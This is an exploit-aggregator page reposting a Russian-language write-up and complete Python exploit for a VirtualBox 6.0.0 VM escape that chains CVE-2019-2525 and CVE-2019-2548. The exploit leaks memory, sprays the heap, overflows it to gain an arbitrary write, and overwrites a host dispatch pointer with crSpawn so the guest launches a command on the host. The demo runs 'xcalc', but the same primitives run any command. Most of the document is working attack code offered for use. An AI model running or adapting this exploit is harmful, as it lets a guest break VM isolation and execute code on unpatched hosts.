Sploitus

VirtualBox-6.0.0-Exploit-1-day

kitploit · 2026-08-27

Exploit Code

MARKDOWN237 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WOTMD-VIRTUALBOX-6.0.0-EXPLOIT-1-DAY
# VirtualBox 6.0.0 Exploit 1-day

Используемые ошибки VBox

  * CVE-2019-2525 : `crUnpackExtendGetAttribLocation` — утечка информации
  * CVE-2019-2548 : `crServerDispatchReadPixels` — целочисленное переполнение, приводящее к переполнению кучи
  * эти ошибки можно задействовать при включённом 3D-ускорении.



Прежде чем объяснить, прилагаю видео с выполнением эксплойта ниже.

https://youtu.be/IQRLtqMgVCY?t=46

### 1\. Утечка памяти (CVE-2019-2525)

  1. Многократным выполнением `hgcm_connect` и `hgcm_disconnect` можно разместить в памяти значения, связанные с `cr_server`, а через отрицательное смещение в `crUnpackExtendGetAttribLocation` выполнить утечку памяти, получив адреса `cr_server+19056` и `crVBoxHGCMDoDisconnect`.
  2. Используя утёкшие значения памяти, получить адреса `cr_server` и `crSpawn`.



### 2\. Heap Spray

  1. Выполнить Heap Spray структуры `CRVBOXSVBUFFER_t` в памяти. При этом используется `alloc_buf`; поскольку память выделяется последовательно, `pData` структуры буфера также будет выделено рядом с самой структурой.
  2. Поэтому с помощью `alloc_buf(client, 0x20)` создаётся `pData` того же размера, что и `CRVBOXSVBUFFER_t`.



![](https://assets.kitploit.com/production/public/readmes/34445/ccb8f963f0a68234c2857c60a3112f66ce9623b72067c9a2fed3492a3795ca72.png)

  3. Освободить буферы с чётными ID.



![](https://assets.kitploit.com/production/public/readmes/34445/25b86755299403c489a66b9b8427b47ac8185c391b8fede4eda1271bac3c3232.png)

  4. Поочерёдно выделять `alloc_buf(client, 0x50, msg)` и `alloc_buf(client, 0x20, msg)`, чтобы заполнить освобождённые блоки. Блоки размером 0x50 не попадут в освобождённые блоки и будут выделены в другой области памяти.



![](https://assets.kitploit.com/production/public/readmes/34445/d20573e604012dca14b03a09d93d4dc3b506e7cd4afcb29edb49c30895b53f5b.png)

  5. Освободить буферы с чётными ID и длиной 0x50.



![](https://assets.kitploit.com/production/public/readmes/34445/61fab19d5366301e7def8ede1ce3045b3e31f7eb8061897fe455fe06c7ee7962.png)

### 3\. Повреждение блока (CVE-2019-2548)

  1. Используя `integer overflow` в `crServerDispatchReadPixels`, выделить структуру размером 0x20. 
     * bytes_per_row = 0x1FFFFFFD / height = 8 ⇒ 0x100000020
  2. Эта структура вставляется в освобождённую область посередине распылённой кучи; благодаря размеру 0x38 происходит переполнение кучи на 0x18, что позволяет изменить `uiID` и `uiSize` следующей структуры. 
     * uiID = 0xdeadbeef / uiSize = 0xffffffff



![](https://assets.kitploit.com/production/public/readmes/34445/aa2b2885c93a7b818f0a36b8b34f0d5c8c7c5e08f43fb8bfe35c3a94c02ae53c.png)

  3. Используя структуру с изменённым `uiID`, можно модифицировать следующий блок. Поскольку `uiSize` равен 0xffffffff, можно изменить следующий блок вплоть до `pData` на желаемое значение. 
     * uiID = 0xcafebabe / uiSize = 0xffffffff / pData = желаемое значение



![](https://assets.kitploit.com/production/public/readmes/34445/e2990e82ae034eb8ef067d7dbbece059b9f8463db7e8ee47fd4de89a4523244e.png)

  4. Теперь, установив `pData` через структуру с `uiID = 0xdeadbeef` и используя структуру с `uiID = 0xcafebabe`, можно выполнить запись за пределами буфера (OOB Write).



### 4\. Эксплойт

  1. С помощью OOB Write записать `"xcalc"` по адресу `cr_server + 0xc410`.
  2. С помощью OOB Write перезаписать `crServerDispatchBoundsInfoCR` (cr_server+0xae98) в таблице функций на функцию `crSpawn`.
  3. Вызвать `crServerDispatchBoundsInfoCR`, что приведёт к вызову `crSpawn`. При этом передать аргументы **command="xcalc", argv=[адрес "xcalc", NULL]** , что позволит выйти из VirtualBox и запустить калькулятор.



### Результат

![](https://assets.kitploit.com/production/public/readmes/34445/b45133e2715e9a2032b6720fa8ae12c8f614c56e50c43cf87ca56ffd567a8b9e.png)

### Демо-видео

https://youtu.be/IQRLtqMgVCY?t=46

### Код эксплойта

root@kitploit:~
    
    
    import sys, os
    from struct import pack, unpack
    sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
    from chromium import *
    
    def nop_msg():
        msg = (
            pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
            + "\x00\x00\x00" +chr(CR_NOP_OPCODE)
            + pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
            )
        return msg
    
    def make_leak_msg(offset):
        msg = (
            pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
            + "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
            + pack("<I", offset) #packet_length
            + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
            + pack("<I", 0x41424344)
            )
        return msg
    
    def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
        msg = (
            pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
            + "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
            + pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
            + pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
            )
        return msg
    
    def make_crSpawn_msg(cmd, argv):
        msg = (
            pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
            + "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
            + pack("<I", 1)
            + cmd.ljust(16, "\x00")
            + pack("<I", 0)
            + pack("<QQ", argv, 0) # argv : execute string, null
            )
        return msg
    
    def leak_address(client):
        leak_success = False;
        while not leak_success:
        	for i in range(0, 10):
                leak_client = hgcm_connect("VBoxSharedCrOpenGL")
                hgcm_disconnect(leak_client)
            msg = make_leak_msg(0x100000000-0x9b8)
            result = crmsg(client, msg)
            if "\x7f\x00\x00" in result:
                leak = unpack('<Q', result[16:24])[0]
                if (leak%0x1000 == 0x170):
                    leak_success = True
                    break
        cr_server = leak - 0x4a70
        
        leak_success = False;
        while not leak_success:
            for i in range(0, 100):
                leak_client = hgcm_connect("VBoxSharedCrOpenGL")
                hgcm_disconnect(leak_client)
            msg = make_leak_msg(0x100000000-0x9b8)
            result = crmsg(client, msg)
            if "\x7f\x00\x00" in result:
                leak = unpack('<Q', result[16:24])[0]
                if (leak%0x1000 == 0x230):
                    leak_success = True
                    break
        crSpawn = leak - 0xbd20
        return (cr_server, crSpawn)
        
    def heapSpray(client):
        buf_ids = []
        spray_ids = []
        msg = nop_msg()
        # make CRVBOXSVCBUFFER_t & pData heapSpray area
        for i in range(120):
    		buf_ids.append(alloc_buf(client, 0x20, msg))
        buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
        
        # even buf_ids free
        for idx in buf_ids[::2]:
            hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
        
        # fill CRVBOXSVCBUFFER_t free areas
        for i in range(40):
            spray_ids.append(alloc_buf(client, 0x50, msg))
            alloc_buf(client, 0x20, msg)
        
        # make a hole between spray area
        for idx in spray_ids[::-2]:
            hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
    
    def make_corrupt_obj(pData):
        obj = (
            "A"*0x28
            + pack("<Q", 0x35)
            + pack("<I", 0xcafebabe) #uiId
            + pack("<I", 0xffffffff) #uiSize
            + pack("<Q", pData) # table_addr
            )
        return obj
    
    def write_anywhere(addr, data):
        #make corrupt obj
        fake_buffer = make_corrupt_obj(addr)
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
        hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])
    
    if __name__=='__main__':
        client = hgcm_connect("VBoxSharedCrOpenGL")
        set_version(client) #must use
        
        # Trigger to CVE-2019-2525
        cr_server, crSpawn = leak_address(client)
        crServerDispatchBoundsInfoCR = cr_server+0xae98
        
        print("[*] crServer : " + hex(cr_server))
        print("[*] crSpawn  : " + hex(crSpawn))
        #print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
        
        # heapSpray
        heapSpray(client)
        
        # Trigger to CVE-2019-2548
        msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
        crmsg(client, msg)
        #a = input("test1 : ")
       
        # setting "xcalc"
        xcalc_string = cr_server + 0xc410 
        write_anywhere(xcalc_string, "xcalc")
        print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))
    
        # overwrite talbe func crSpawn
        print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
        write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))
    
        # escape!! execute xcalc
        msg = make_crSpawn_msg("xcalc", xcalc_string)
        crmsg(client, msg)
    
        hgcm_disconnect(client)